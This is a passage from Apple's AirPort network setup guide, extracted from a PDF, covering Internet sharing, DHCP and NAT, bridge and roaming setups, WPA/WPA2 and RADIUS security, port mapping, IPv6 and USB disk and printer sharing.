Extreme network.  Use interference robustness: Interference robustness can solve interference problems caused by other devices or networks. To set more advanced security options, see “Keeping Your Network Secure” on page 45.24 Chapter 3 AirPort Network Designs Setting up a Guest Network Click Guest Network and then enter the network name and other options for the guest network. When you set up a guest network, a portion of your connection to the Internet is reserved for “guests”, wireless clients that can join the guest network and connect to the Internet without accessing your private network. Select “Allow guest network clients to communicate with each other” to allow client computers to share files and services with each other while they’re connected to the guest network. Make sure sharing services are set up on the client computers. Configuring and Sharing Internet Access The next step is setting up your wireless device’s Internet connection and sharing its Internet access with client computers. The following sections tell you what to do, depending on how your device connects to the Internet. You’re Using a DSL or Cable Modem In most cases, you can implement this network design using AirPort Utility and following the onscreen instructions to set up your wireless device and network. You need to use AirPort Utility to manually set up your device only if you want to set up or adjust optional advanced settings.Chapter 3 AirPort Network Designs 25 What It Looks Like How It Works  The Apple wireless device (in this example, a Time Capsule) connects to the Internet through its Internet WAN (<) connection to your DSL or cable modem.  Computers using AirPort or computers connected to the wireless device’s Ethernet LAN port (G) connect to the Internet through the device.  The device is set up to use a single, public IP address to connect to the Internet, and uses DHCP and NAT to share the Internet connection with computers on the network using private IP addresses.  AirPort computers and Ethernet computers communicate with one another through the wireless device. Important: Connect Ethernet computers that are not connected to the Internet to the device’s LAN port (G) only. Since the device can provide network services, you must set it up carefully to avoid interfering with other services on your Ethernet network. What You Need for a DSL or Cable Modem Connection DSL or cable modem to Internet to Ethernet port Time Capsule < Ethernet WAN port 2.4 or 5 GHz Components Check Comments Internet account with DSL or cable modem service provider Does your service provider use a static IP or DHCP configuration? You can get this information from your service provider or the Network preferences pane on the computer you use to access the Internet through this service provider. Apple wireless device (an AirPort Extreme Base Station, an AirPort Express, or a Time Capsule) Place the device near your DSL or cable modem.26 Chapter 3 AirPort Network Designs What to Do If you’re using AirPort Utility to assist you with configuring the Apple wireless device for Internet access: 1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac, or in Start > All Programs > AirPort on a Windows computer. 2 Follow the onscreen instructions and enter the settings you received from your service provider to connect to the Internet, and then set up the device to share the Internet connection with computers on the network. If you’re using AirPort Utility to manually set up your wireless device: 1 Make sure that your DSL or cable modem is connected to the Ethernet WAN port (<) on your Apple wireless device. 2 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac, or in Start > All Programs > AirPort on a Windows computer. Select your wireless device and choose Base Station > Manual Setup, or double-click your device’s icon in the list to open the configuration in a separate window. 3 Click the Internet button. Click Internet Connection and choose Ethernet or PPPoE from the Connect Using pop-up menu, depending on which one your service provider requires. If your service provider gave you PPPoE connection software, such as EnterNet or MacPoET, choose PPPoE. Note: If you’re connecting to the Internet through a router using PPPoE and your Apple wireless device is connected to the router via Ethernet, you do not need to use PPPoE on your wireless device. Choose Ethernet from the Connect Using pop-up menu in the Internet pane, and deselect the “Distribute IP addresses” checkbox in the Network pane. Contact your service provider if you aren’t sure which one to select. 4 Choose Manually or Using DHCP from the Configure IPv4 pop-up menu if you chose Ethernet from the Connect Using pop-up menu, depending on how your service provider provides IP addresses.  If your provider gave you an IP address and other numbers with your subscription, use that information to configure the wireless device IP address manually. If you aren’t sure, ask your service provider. Enter the IP address information in the fields below the Configure IPv4 pop-up menu.Chapter 3 AirPort Network Designs 27  If you chose PPPoE, your ISP provides your IP address automatically using DHCP. If your service provider asks you for the MAC address of your wireless device, use the address of the Ethernet WAN port (<), printed on the label on the bottom of the device. If you’ve already used AirPort Utility to set up your wireless device, the fields below the Configure IPv4 pop-up menu may already contain the information appropriate for your service provider. You can change the WAN Ethernet speed if you have specific requirements for the network you’re connected to. In most cases, the settings that are configured automatically are correct. Your service provider should be able to tell you if you need to adjust these settings. Changing the WAN Ethernet speed can affect the way the wireless device interacts with the Internet. Unless your service provider has given you specific settings, use the automatic settings. Entering the wrong settings can affect network performance. Contact your service provider for the information you should enter in these fields. Use this pop-up menu if you need to adjust the speed of the Ethernet WAN port.28 Chapter 3 AirPort Network Designs If you configure TCP/IP using DHCP, choose Using DHCP from the Configure IPv4 pop-up menu. Your IP information is provided automatically by your ISP using DHCP. 5 If you chose PPPoE from the Connect Using pop-up menu, enter the PPPoE settings your service provider gave you. Leave the Service Name field blank unless your service provider requires a service name. Note: With AirPort, you don’t need to use a third-party PPPoE connection application. You can connect to the Internet using AirPort. Your service provider may require you to enter information in these fields. Contact your service provider for the information you should enter in these fields.Chapter 3 AirPort Network Designs 29 If you’re connecting to the Internet through a router that uses PPPoE to connect to the Internet, and your wireless device is connected to the router via Ethernet, you do not need to use PPPoE on your device. Choose Ethernet from the Connect Using pop-up menu in the Internet pane, and deselect the “Distribute IP addresses” checkbox in the Network pane. Because your router is distributing IP addresses, your wireless device doesn’t need to. More than one device on a network providing IP addresses can cause problems. 6 Click PPPoE to set PPPoE options for your connection.  Choose Always On, Automatic, or Manual, depending on how you want to control when your wireless device is connected to the Internet. If you choose Always On, your device stays connected to your modem and the Internet as long as the modem is turned on. If you choose Automatic, the wireless device connects to the modem, which connects to the Internet when you use an application that requires an Internet connection, such as email or an instant message or web application. If you choose Manual, you need to connect the modem to the Internet when you use an application that requires an Internet connection. If you chose Automatic or Manual from the Connection pop-up menu, you need to choose an increment, such as “10 minutes,” from the “Disconnect if idle” pop-up menu. If you don’t use an Internet application after the increment of time has passed, you’ll be disconnected from the Internet. Note: If your wireless device is connected to your modem using an Ethernet LAN port, and your modem is connected to the Internet using PPPoE, you may not be able to use the manual setting.30 Chapter 3 AirPort Network Designs  Enter Domain Name System (DNS) server addresses and a specific domain name your wireless device accesses when you connect to the Internet. 7 Click the Network button and configure how the device will share its Internet access with AirPort and Ethernet computers. If you chose Ethernet from the Connect Using pop-up menu, choose how your device will share the Internet connection from the Connection Sharing pop-up menu.  To share a single Internet connection with AirPort computers and computers connected to the device with Ethernet using DHCP and NAT, choose “Share a public IP address” from the Connection Sharing pop-up menu. Using DHCP and NAT lets the wireless device dynamically and automatically assign IP addresses to client computers, which simplifies each computer’s TCP/IP configuration. See “Setting DHCP and NAT Options” on page 31. By default, the wireless device allows other devices, computers using Ethernet, and computers using AirPort to communicate with each other using non-IP protocols like AppleTalk. If you want to connect an AppleTalk Ethernet printer to the Apple wireless device or use AppleTalk between wired and wireless computers, make sure the devices are connected to the Ethernet LAN port (G) on the device.  To distribute a range of IP addresses using only DHCP, choose “Distribute a range of IP addresses.” See “Setting DHCP Only Options” on page 33.Chapter 3 AirPort Network Designs 31  If you don’t want your wireless device to share its IP address, choose “Off (Bridge Mode).” If you set up your device in bridge mode, AirPort computers have access to all services on the Ethernet network, and the device does not provide Internet sharing services. See “You’re Using an Existing Ethernet Network” on page 37 for more information about setting up your wireless device as a bridge. Using the wireless device as a bridge can be a way to address incompatibilities between the device’s Internet sharing features and your ISP’s connection method. Setting DHCP and NAT Options If you chose “Share a public IP address” from the Connection Sharing pop-up menu, you can set DHCP and NAT options. Click DHCP.  Choose a range of IP addresses from the DHCP Range pop-up menu. Choose 10.0, 192.168, or 172.16 and then enter a beginning and ending address in the DHCP Beginning Address and the DHCP Ending Address fields, depending on which addresses you want the wireless device to provide.  Enter a number in the DHCP Lease field, and then choose minutes, hours, or days from the pop-up menu.  Type a welcome message in the DHCP Message field. This message is displayed when a computer joins your network.  If your network is set up to use a Lightweight Directory Access Protocol (LDAP) server on your network, you can enter the address of the server in the LDAP Server field, and computers on your network will have access to it.32 Chapter 3 AirPort Network Designs  To provide specific IP addresses to specific computers on your wireless network, click the Add (+) button below the DHCP Reservations list, and follow the onscreen instructions to name the reservation and reserve the address by MAC address or DHCP client ID. If you choose MAC address, click Continue and enter the MAC address and specific IP address. Next you can set NAT options for the network. Click NAT.  You can set up a default host on your network. A default host (sometimes known as a DMZ) is a computer on your network that is exposed to the Internet and receives all inbound traffic. A default host may be useful if you use a computer on your AirPort network to play network games, or want to route all Internet traffic through a single computer.  You can set up NAT Port Mapping Protocol (NAT-PMP). NAT-PMP is an Internet Engineering Task Force Internet Draft, an alternative to the more common Universal Plug and Play (UPnP) protocol implemented in many network address translation (NAT) routers. NAT-PMP allows a computer in a private network (behind a NAT router) to automatically configure the router to allow parties outside the private network to contact this computer. Included in the protocol is a method for retrieving the public IP address of a NAT gateway, allowing a client to make this public IP address and port number known to peers that may wish to communicate with it. This protocol is implemented in current Apple products, including Mac OS X 10.4 Tiger and later, AirPort Extreme, AirPort Express, and Time Capsule networking products, and Bonjour for Windows.Chapter 3 AirPort Network Designs 33 You can also set up port mapping. To ensure that requests are properly routed to your web, AppleShare, or FTP server, or a specific computer on your network, you need to establish a permanent IP address for the server or computer, and provide “inbound port mapping” information to the Apple wireless device. See “Directing Network Traffic to a Specific Computer on Your Network (Port Mapping)” on page 49. Setting DHCP Only Options If you chose “Distribute a range of IP addresses” from the Connection Sharing pop-up menu, your wireless device is set up to use DHCP to distribute a range of IP addresses using only DHCP. You cannot use NAT if you chose this option. Click DHCP and enter the beginning and ending addresses you want to distribute to computers joining your wireless network. You can set the additional DHCP options, such as DHCP Lease, DHCP Message, and other options following the instructions above. Setting Up Client Computers To configure TCP/IP on client computers using Mac OS X v10.5: 1 Open System Preferences on the client computer and then click Network. 2 Do one of the following: a If the client computer is using AirPort, select AirPort in the network connection services list, and then click Advanced.34 Chapter 3 AirPort Network Designs Next, choose DHCP from the Configure IPv4 pop-up menu. b If you enabled a DHCP server when you set up the wireless device’s network, and the client computer is using Ethernet, select Ethernet in the network connection services list, and then choose Using DHCP from the Configure pop-up menu.Chapter 3 AirPort Network Designs 35 c If you selected “Distribute a range of IP addresses” when you set up the wireless device’s network, you can provide Internet access to client computers using Ethernet by setting the client IP addresses manually. Select Ethernet in the network connection services list, and then choose Manually from the Configure pop-up menu. When you configure Ethernet clients manually for a wireless device that provides NAT over Ethernet, you can use IP addresses in the range 10.0.1.2 to 10.0.1.200. In the Subnet Mask field, enter 255.255.255.0. In the Router field, enter 10.0.1.1. Enter the same name server address and search domain information that you entered in the wireless device configuration. To configure TCP/IP on client computers using Windows Make sure you’ve installed the wireless adapter in your computer and the software necessary to set up the adapter. To configure TCP/IP on client computers: 1 Open Control Panel from the Start menu, and then click “Network and Internet.” 2 Click “Network and Sharing Center.” 3 Click “Manage network connections” in the Tasks list. 4 Right-click the wireless connection you want to share, and then select Properties. Enter the IP and router addresses from the range your device is providing. Enter the DNS and Search Domain addresses if necessary.36 Chapter 3 AirPort Network Designs 5 Click Internet Protocol Version 4 (TCP/IPv4), and then click Properties.  If you chose “Share a public IP address” in the Network pane of AirPort Utility, select “Obtain an IP address automatically.”  If you chose “Distribute a range of IP addresses” when you set up the wireless device’s network, you can provide Internet access to client computers by setting the client IP addresses manually. Select “Use the following IP address.” When you configure clients manually for a wireless device that provides NAT service, use IP addresses in the range 10.0.1.2 to 10.0.1.200, 172.16.1.2 to 172.16.1.200, or 192.168.1.2 to 192.168.1.200. In the “Subnet mask” field, enter 255.255.255.0. In the “Default gateway” field, enter 10.0.1.1, 172.16.1.1, or 192.168.1.1, depending on which addressing scheme you used. Enter the same name server address and search domain information that you entered in the wireless device configuration.Chapter 3 AirPort Network Designs 37 You’re Using an Existing Ethernet Network You can use AirPort Utility to easily set up the Apple wireless device for Internet access through an existing Ethernet network that already has a router, switch, or other network device providing IP addresses. Use the manual setup features of AirPort Utility if you need to adjust optional advanced settings. What It Looks Like How It Works  The Apple wireless device (in this example, a Time Capsule) uses your Ethernet network to communicate with the Internet through the Ethernet WAN port (<).  AirPort and Ethernet clients access the Internet and the Ethernet network through the Apple wireless device. What You Need for an Ethernet Connection Router to Internet to Ethernet port Time Capsule All Programs > AirPort on a Windows computer. 2 Click Continue and follow the onscreen instructions to connect to your local area network (LAN). If you’re using AirPort Utility to manually set up your wireless device: 1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac, or in Start > All Programs > AirPort on a Windows computer. 2 Select your device and choose Base Station > Manual Setup, or double-click your device icon to open the configuration in a separate window. 3 Click Internet and choose Ethernet from the Connect Using pop-up menu. 4 Choose Manually or Using DHCP from the Configure IPv4 pop-up menu, depending on how IP addresses are provided on your Ethernet network. If you aren’t sure, ask your service provider or network administrator. If your addresses are provided manually, choose Manually from the Configure IPv4 pop-up menu. Enter your IP address information in the fields below the Configure IPv4 pop-up menu. If you’ve already used AirPort Utility to set up your Apple wireless device, the fields below the Configure IPv4 pop-up menu may already contain the appropriate information. Contact your network administrator for the information you should enter in these fields.Chapter 3 AirPort Network Designs 39 If your IP address is provided by DHCP, choose Using DHCP from the Configure IPv4 pop-up menu. 5 Choose Off (Bridge Mode) from the Connection Sharing pop-up menu. Your wireless device “bridges” the Ethernet networks Internet connection to computers connected to the device wirelessly or by Ethernet. See “Setting Up Client Computers” on page 33 for information about how to set up client computers to connect to the Ethernet network.40 Chapter 3 AirPort Network Designs Connecting Additional Devices to Your AirPort Extreme Network Connect a USB printer to the USB port of your Apple wireless device (in this example, a Time Capsule) and everyone on the network can print to it. Connect a USB hub to the USB port of an AirPort Extreme Base Station or a Time Capsule, and then connect a hard disk and a printer so everyone on the network can access them. If you connect a Time Capsule, you can use Time Machine in Mac OS X Leopard (v10.5.2 or later) to back up all of the Mac OS X Leopard computers on the network. What It Looks Like What to Do Follow the instructions in the previous sections to set up your AirPort Extreme network depending on how you connect to the Internet or set up your wireless network. Connect a USB hard disk, printer, or hub to the USB port on your AirPort Extreme Base Station or Time Capsule. Note: If you’re using an AirPort Express in your network, you can connect a USB printer to the USB port, and everyone on the network can print to it. AirPort Express doesn’t support connecting a USB hard disk. DSL or cable modem USB Printer Time Capsule to Internet Ethernet WAN port AirPort Extreme < 2.4 or 5 GHz 2.4 or 5 GHz 2.4 or 5 GHzChapter 3 AirPort Network Designs 41 Using Apple TV on Your AirPort Extreme Network to Play Content from iTunes When you connect Apple TV to your AirPort Extreme network wirelessly, or using Ethernet, and then connect Apple TV to your widescreen TV, you can enjoy your favorite iTunes content including movies, TV shows, music, and more. (See the documentation that came with your Apple TV for instructions setting it up.) Setting Advanced Options Connecting Additional Wireless Devices to Your AirPort Network You can connect additional Apple wireless devices to extend the range of your wireless network. For example, you can connect an AirPort Extreme Base Station or a Time Capsule using Ethernet. A network with devices connected using Ethernet is known as a roaming network. You can also connect Apple wireless devices wirelessly to extend the network. DSL or cable modem to Internet to Ethernet port < Ethernet WAN port Time Capsule Apple TV 2.4 GHz 2.4 or 5 GHz42 Chapter 3 AirPort Network Designs Setting Up Roaming Several AirPort Extreme Base Stations or Time Capsules can be set up to create a single wireless network. Client computers using AirPort can move from device to device with no interruption in service (a process known as roaming). To set up roaming: 1 Connect all of the AirPort Extreme Base Stations and Time Capsules to the same subnet on your Ethernet network. 2 Give each device a unique name. 3 Give each device the same network name and password. 4 Set up the devices as bridges, following the instructions in the previous section. If you want one device to assign IP addresses using DHCP, also do the following: 1 Set up one device to act as the DHCP server. 2 Set up the other devices as bridges, following the instructions in the previous section. The device acting as a DHCP server can also receive its IP address via DHCP from a server on an Ethernet network or from a cable or DSL modem connected to an Internet service provider (ISP). to Ethernet port Ethernet LAN ports to Internet AirPort Extreme DSL or cable modem G Time Capsule < Ethernet WAN port 2.4 or 5 GHz 2.4 GHzChapter 3 AirPort Network Designs 43 Extending the Range of an 802.11n Network Extending the range of an 802.11n network is simpler if you’re connecting another 802.11n device. Connecting two Apple 802.11n wireless devices makes the WDS setup process more straightforward. To extend the range of an 802.11n network: 1 Open AirPort Utility and select the device that will connect to the Internet. See the previous sections of this document for instructions about setting up your wireless device, depending on your Internet connection. 2 Choose Base Station > Manual Setup, or double-click the device’s icon to open the configuration in a separate window. Enter the password if necessary. 3 Click the AirPort button, and then click Wireless. 4 Choose “Create a wireless network” from the Wireless Mode pop-up menu, and then select the “Allow this network to be extended” checkbox. 5 Next, select the device that will extend this network and choose Base Station > Manual Setup, or double-click the device’s icon to open its configuration in a separate window. Enter the password if necessary. 6 Choose “Extend a wireless network” from the Wireless Mode pop-up menu, and then choose the network you want to extend from the Network Name pop-up menu. 7 Enter the network name and password if necessary.44 Chapter 3 AirPort Network Designs 8 Click Update to update the device with new network settings. Controlling the Range of Your AirPort Network You can also shorten the range of your AirPort network. This might be useful if you want to control who has access to the network by restricting the range to a single room, for example. To shorten the range of your AirPort network: 1 Open AirPort Utility (in the Utilities folder in the Applications folder on a Macintosh computer, or in Start > All Programs > AirPort on a computer using Windows). 2 Select your wireless device and choose Base Station > Manual Setup, or double-click the device icon to open its configuration in a separate window. Enter the password if necessary. 3 Click the AirPort button, and then click Wireless. 4 Click Wireless Options, and then choose a percentage setting from the Transmit Power pop-up menu. The lower the percentage is, the shorter the range is.Chapter 3 AirPort Network Designs 45 Keeping Your Network Secure Your network is protected by the password you assign to it. However, you can take additional steps to help keep your network secure. Networks managed by Simple Network Management Protocol (SNMP) may be vulnerable to denial-of-service attacks. Similarly, if you configure your wireless device over the WAN port, it may be possible for unauthorized users to change network settings. When remote configuration is enabled, the device’s Bonjour information (the device name and IP address) is published over the WAN port. Turning off remote configuration may provide additional security. To help protect your network and wireless device: 1 Open AirPort Utility, select your device, and choose Base Station > Manual Setup, or double-click the device icon to open its configuration in a separate window. Enter the password if necessary. 2 Click the Advanced button, and then click Logging & SNMP. 3 Make sure the Allow SNMP Access and “Allow SNMP over WAN” checkboxes are not selected. Using Wi-Fi Protected Access AirPort Extreme supports WPA and WPA2 security standard for wireless networks. Using Mac OS X v10.3 or later or Windows XP with Service Pack 2, and 802.1X authentication capabilities, WPA security delivers more sophisticated data encryption than WEP, and also provides user authentication, which was virtually unavailable with WEP. If your computer has an AirPort Extreme wireless card installed, you can take advantage of the security updates in WPA2, including AES-CCMP encryption. AirPort Extreme supports two modes of WPA and WPA2: Enterprise mode, which uses an authentication server for user authentication, and Personal mode, which relies on the capabilities of TKIP for WPA and AES-CCMP for WPA2, without requiring an authentication server. Enterprise mode is designed for a larger network in which an IT professional is most likely setting up and managing the network. In order to set up a WPA or WPA2 Enterprise network, an 802.1X connection must be set up first in Network preferences on a Mac. To set up an 802.1x connection on a Windows computer, see the documentation that came with your computer. The 802.1X connection requires an authentication protocol, like TTLS, LEAP, or PEAP. Setting up a WPA or WPA2 Enterprise network requires setting up an authentication server, such as a RADIUS server, to manage and validate network users’ credentials, such as user names, passwords, and user certificates. See the documentation that came with the server to set it up. 46 Chapter 3 AirPort Network Designs Personal mode is for the home or small office network and can be set up and managed by most users. Personal mode does not require a separate authentication server. Network users usually only need to enter a user name and password to join the network. Note: If you change an existing WDS network from WEP to WPA, you’ll need to reset the wireless devices and set up your network again. For information about resetting your Apple wireless device, see the documentation that came with it. To set up a WPA or WPA2 Enterprise network: On a computer using Mac OS X, you first need to set up an 802.1x connection. 1 Open System Preferences, click Network, and then click AirPort. 2 Click Advanced, and then click 802.1X 3 Enter the settings for the connection. Note: Some of the authentication protocols require digital certificate authorization on the server. See the documentation that came with your server to create and distribute digital certificates. 4 Click OK to save the connection settings. To use AirPort Utility to set up a WPA or WPA2 Enterprise network on computers using Mac OS X and Windows XP: 1 Open AirPort Utility, select your wireless device, and then choose Base Station > Manual Setup, or double-click the device icon to open its configuration in a separate window. Enter the password if necessary. 2 Choose WPA/WPA2 Enterprise, or WPA2 Enterprise from the Wireless Security pop-up menu, depending on the capabilities of the client computers that will join your network. 3 Click Configure RADIUS, and enter the IP address, port, and shared secret (or password) of the primary and secondary RADIUS authentication servers. Check with the administrator of the RADIUS server for information to type in these fields. To set up a WPA or WPA2 Personal network: 1 Open AirPort Utility, select your wireless device, and then choose Base Station > Manual Setup, or double-click the device icon to open its configuration in a separate window. Enter the password if necessary. 2 Choose WPA/WPA2 Personal or WPA2 Personal from the Wireless Security pop-up menu depending on the capabilities of the client computers that will join your network. 3 Type a password of 8 to 63 ASCII characters.Chapter 3 AirPort Network Designs 47 Setting Up Access Control Access control lets you specify which computers can send or receive information through the wireless device to the wired network. Each wireless-enabled computer has a unique MAC address. You can restrict access by creating an access control list that includes only the MAC addresses for computers you want to access your wired network. To find the MAC address (AirPort ID) of your computer’s AirPort Card, click the AirPort button in the Network pane of System Preferences. To set up the access control list: 1 Open AirPort Utility, select your wireless device, and then choose Base Station > Manual Setup. Enter the password if necessary. 2 Click the AirPort button, and then click Access. 3 Choose Timed Access or RADIUS from the MAC Address Access Control pop-up menu, depending on the device you’re setting up.  If you choose Timed Access, click the Add (+) button and enter the MAC address and description or name of the computers you’re allowing to access the network. You can also click This Computer to add the MAC address and name of the computer you’re using to set up this wireless device. Double-click the computer in the list and choose a value from each pop-up menu. Choose a day of the week or Everyday from the day pop-up menu, and then choose either “all day” or “between” from the other pop-up menu. If you choose “between,” you can edit the times of the day by double-clicking in the time fields.48 Chapter 3 AirPort Network Designs  If you choose RADIUS, enter the type of RADIUS service, the RADIUS IP addresses, shared secret, and primary port for the primary RADIUS server. Enter the information for the secondary RADIUS server if there is one. Check with the server administrator if you don’t have that information. Important: AirPort access control prevents computers that aren’t on the access control list from accessing the AirPort network. For information on how to prevent unauthorized computers from joining the AirPort network, see “Setting Up the AirPort Extreme Network” on page 17. You can also add the MAC address of a third-party 802.11 wireless networking card to the access control list. Most third-party cards have the MAC address on a label attached to the metal case of the card. Access control is not compatible with WPA or WPA2 Enterprise mode. You can use either access control or WPA Enterprise in a network, but you can’t use both. Using a RADIUS Server Using a RADIUS server on your network lets you authenticate MAC addresses (AirPort IDs) on a separate computer, so that each device on the network doesn’t need to store the MAC addresses of computers that have access to the network. Instead, all the addresses are stored on a server that is accessed through a specific IP address. To set up authentication using a RADIUS server: 1 On the server, enter the MAC addresses of the computers that will access the network. 2 When the RADIUS server is set up, open AirPort Utility, select your wireless device, and then choose Base Station > Manual Setup, or double-click the device icon to open its configuration in a separate window. Enter the password if necessary. 3 Click AirPort, click Access, and then choose RADIUS from the MAC Address Access Control pop-up menu. 4 Choose a format from the RADIUS pop-up menu. If you choose Default, your wireless device formats the MAC addresses as 010203- 0a0b0c, and they are used as the user names on the RADIUS server. The shared secret is the password for users joining the network. This format is often used for Lucent and Agere servers. If you choose Alternate, MAC addresses are formatted as 0102030a0b0c and are used for both the user name and password by users joining the network. This format is often used for Cisco servers.Chapter 3 AirPort Network Designs 49 5 Enter the IP address, port, and shared secret (or password) for the primary and secondary servers. See the RADIUS documentation that came with your server, or check with the network administrator for more information on setting up the RADIUS server. The access control list and RADIUS work together. When a user tries to join a network that authenticates using access control or a RADIUS server, the wireless device searches first in the access control list, and if the MAC address is there, the user can join the network. If the MAC address is not in the access control list, the device checks the RADIUS server for the MAC address. If it is there, the user can join the network. Note: RADIUS access control is not compatible with WPA or WPA2 Personal mode. You can use either RADIUS access control or WPA Enterprise in a network, but you can’t use both. Directing Network Traffic to a Specific Computer on Your Network (Port Mapping) AirPort Extreme uses Network Address Translation (NAT) to share a single IP address with the computers that join the AirPort Extreme network. To provide Internet access to several computers with one IP address, NAT assigns private IP addresses to each computer on the AirPort Extreme network, and then matches these addresses with port numbers. The wireless device creates a port-to-private IP address table entry when a computer on your AirPort (private) network sends a request for information to the Internet. 50 Chapter 3 AirPort Network Designs If you’re using a web, AppleShare, or FTP server on your AirPort Extreme network, other computers initiate communication with your server. Because the Apple wireless device has no table entries for these requests, it has no way of directing the information to the appropriate computer on your AirPort network. To ensure that requests are properly routed to your web, AppleShare, or FTP server, you need to establish a permanent IP address for your server and provide inbound port mapping information to your Apple wireless device. To set up inbound port mapping: 1 Open AirPort Utility, select your wireless device, and then choose Base Station > Manual Setup, or double-click the device icon to open its configuration in a separate window. Enter the password if necessary. 2 Click the Advanced button, and then click Port Mapping. 3 Click the Add (+) button and choose a service, such as Personal File Sharing, from the Service pop-up menu.Chapter 3 AirPort Network Designs 51 Type any additional information you need in the text fields. To use port mapping, you must configure TCP/IP manually on the computer that is running the web, AppleShare, or FTP server. You can also set up a computer as a default host to establish a permanent IP address for the computer and provide inbound port mapping information to the AirPort Extreme Base Station or AirPort Express. This is sometimes known as a DMZ and is useful when playing some network games or video conferencing. To set up a default host: 1 Open AirPort Utility, select your wireless device, and then choose Base Station > Manual Setup, or double-click the device icon to open its configuration in a separate window. Enter the password if necessary. 2 Click the Internet button, and then click NAT. 3 Select the “Enable Default Host at” checkbox. The default IP address is 10.0.1.253. 4 Enter the same IP address on the host computer. Logging You can set up your wireless device to log status information to the Mac OS X system log or the Syslog application on a Windows computer. This is helpful for understanding problems and monitoring a device’s performance. To set up logging: 1 Open AirPort Utility, select your wireless device, and then choose Base Station > Manual Setup, or double-click the device icon to open its configuration in a separate window. Enter the password if necessary. 2 Click the Advanced button, and then click Statistics.52 Chapter 3 AirPort Network Designs 3 Enter the IP address of the computer that will receive the logs in the Syslog Destination Address field. 4 Choose a level from the Syslog Level pop-up menu. You need to assign a Network Time Protocol (NTP) server for each wireless device, so the log information will contain the accurate time of the status logs. To set the time automatically: 1 Open AirPort Utility, select your wireless device, and then choose Base Station > Manual Setup, or double-click the device icon to open its configuration in a separate window. Enter the password if necessary. 2 Click the AirPort button, and then click Base Station. 3 Select the “Set time automatically” checkbox, and then choose an NTP server from the pop-up menu if you have access to one on your network or on the Internet. If you click “Logs and Statistics” you can view and export logs, and view wireless client and DHCP client information. If you export the logs, use the Mac OS X Console application, located in the Utilities folder in the Applications folder on a Mac, or in Start > All Programs > AirPort on a Windows computer, to view the logs on the computer receiving them. Using Back to My Mac on your Wireless Network If you have a paid MobileMe subscription (not a free trial), you can use Back to My Mac to access your AirPort Base Station or Time Capsule. You can access the base station or Time Capsule to monitor the network or make changes to the base station or Time Capsule settings. You can also access the hard disk built into the Time Capsule or an external USB hard disk connected to the base station or Time Capsule. To set up Back to My Mac on your wireless device: 1 Click MobileMe in the Advanced pane. 2 Enter your MobileMe account and password.Chapter 3 AirPort Network Designs 53 Setting up IPv6 IPv6 is a new version of Internet Protocol (IP). IPv6 is currently used primarily by some research institutions. Most computers do not need to set up or use IPv6. The primary advantage of IPv6 is that it increases the address size from 32 bits (the current IPv4 standard) to 128 bits. An address size of 128 bits is large enough to support billions and billions of addresses. This allows for more addresses or nodes than are currently available. IPv6 also provides more ways to set up the address and simpler autoconfiguration. By default, IPv6 is configured automatically, and the default settings are sufficient. However, if your network administrator or Internet service provider (ISP) has specifically told you to configure IPv6 manually, follow the instructions below. Open AirPort Utility, select your wireless device, and then choose Base Station > Manual Setup. Enter the password if necessary. Click the Advanced button, and then click IPv6. To manually set IPv6 options: 1 Choose Node or Tunnel from the IPv6 mode pop-up menu, depending on the method you were instructed to use. 2 Choose Manually from the Configure IPv6 pop-up menu, and enter the information you were given from your ISP or network administrator. Customizing the IPv6 firewall If your wireless device supports it, you can use AirPort Utility to adjust IPv6 firewall settings. To adjust IPv6 firewall settings: 1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac, or in Start > All Programs > AirPort on a Windows computer. 2 Select your device from the list, and then enter the password. 3 Click the Advanced button, and then click IPv6 Firewall By default, “Allow Teredo tunnels” and “Allow incoming IPSec authentication” are selected. To provide access to specific devices on your network from outside the IPv6 firewall, click the Add (+) button and enter the IPv6 address and/or the port for the device. To use an IPv6 firewall, you need an Apple 802.11n wireless device.54 Chapter 3 AirPort Network Designs Sharing and Securing USB Hard Disks on Your Network If you connect a USB hard disk to your AirPort Extreme Base Station or Time Capsule, computers connected to the network—both wireless and wired, Mac and Windows— can use it to back up, store, and share files. If you’re using a Time Capsule, you don’t need to connect a hard disk to it. Every Time Capsule includes an internal AirPort disk. To share a hard disk on your network: 1 Plug the hard disk into the USB port on the back of the AirPort Extreme Base Station or Time Capsule. 2 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac, or in Start > All Programs > AirPort on a Windows computer. 3 Select your AirPort Extreme Base Station or your Time Capsule, and then choose Base Station > Manual Setup, or double-click the device icon to open its configuration in a separate window. Enter the password if necessary. 4 Click the Disks button, and then click File Sharing. 5 Choose “With a disk password,” or “With base station password” if you want to secure the shared disk with a password, or choose “With accounts” if you want to secure the disk using accounts.  If you choose to use accounts, click Configure Accounts, click the Add (+) button, and then enter a name and password for each user that will access the disk. 6 Choose “Not allowed,” “Read only,” or “Read and write” to assign guest access to the disk. 7 Select the “Share disks over Ethernet WAN port” checkbox if you want to provide remote access to the disk over the WAN port. Data transfer speed may vary, depending on the network. to Internet DSL or cable modem AirPort Extreme USB hard disk < Ethernet WAN port 2.4 or 5 GHz 2.4 or 5 GHzChapter 3 AirPort Network Designs 55 Using a Time Capsule in Your Network If you’re using a Time Capsule and a computer with Mac OS X Leopard (v10.5.2 or later), you can use Time Machine to automatically back up all of the computers on the network that are using Leopard. Other Mac computers and Windows computers can access the Time Capsule’s internal AirPort disk to back up, store, and share files. And because every Time Capsule is also a full-featured 802.11n base station, you can set up your Time Capsule to share an Internet connection with computers on the AirPort network it creates. For information about using your Time Capsule with Time Machine in Mac OS X Leopard, search for “Time Capsule” in Mac Help. Connecting a USB Printer to an Apple Wireless Device You can connect a compatible USB printer to your Apple wireless device (an AirPort Extreme Base Station, AirPort Express, or Time Capsule), so that anyone on the network using Mac OS X v10.2.3 or later, Windows XP with Service Pack 2, or Windows Vista can print to that printer. To use a printer on your network: 1 Connect the printer to the USB port on the Apple wireless device. 2 Set up the client computers:  On a computer using Mac OS X v10.5 or later, open System Preferences and click Print & Fax. Select the printer from the Printers list. If the printer isn’t in the list, click Add (+) at the bottom of the list, locate the printer, and then click Add.  On a computer using Mac OS X v10.2.3 or later, open Printer Setup Utility located in the Utilities folder in the Applications folder, and then select the printer from the list. If the printer is not in the list, click Add, choose Bonjour from the pop-up menu, and then select the printer from the list. to Internet DSL or cable modem Time Capsule < Ethernet WAN port 2.4 or 5 GHz 2.4 or 5 GHz 2.4 GHz56 Chapter 3 AirPort Network Designs  On a computer using Windows, install Bonjour for Windows from AirPort Utility CD, and follow the onscreen instructions to connect to the printer. You can change the name of the 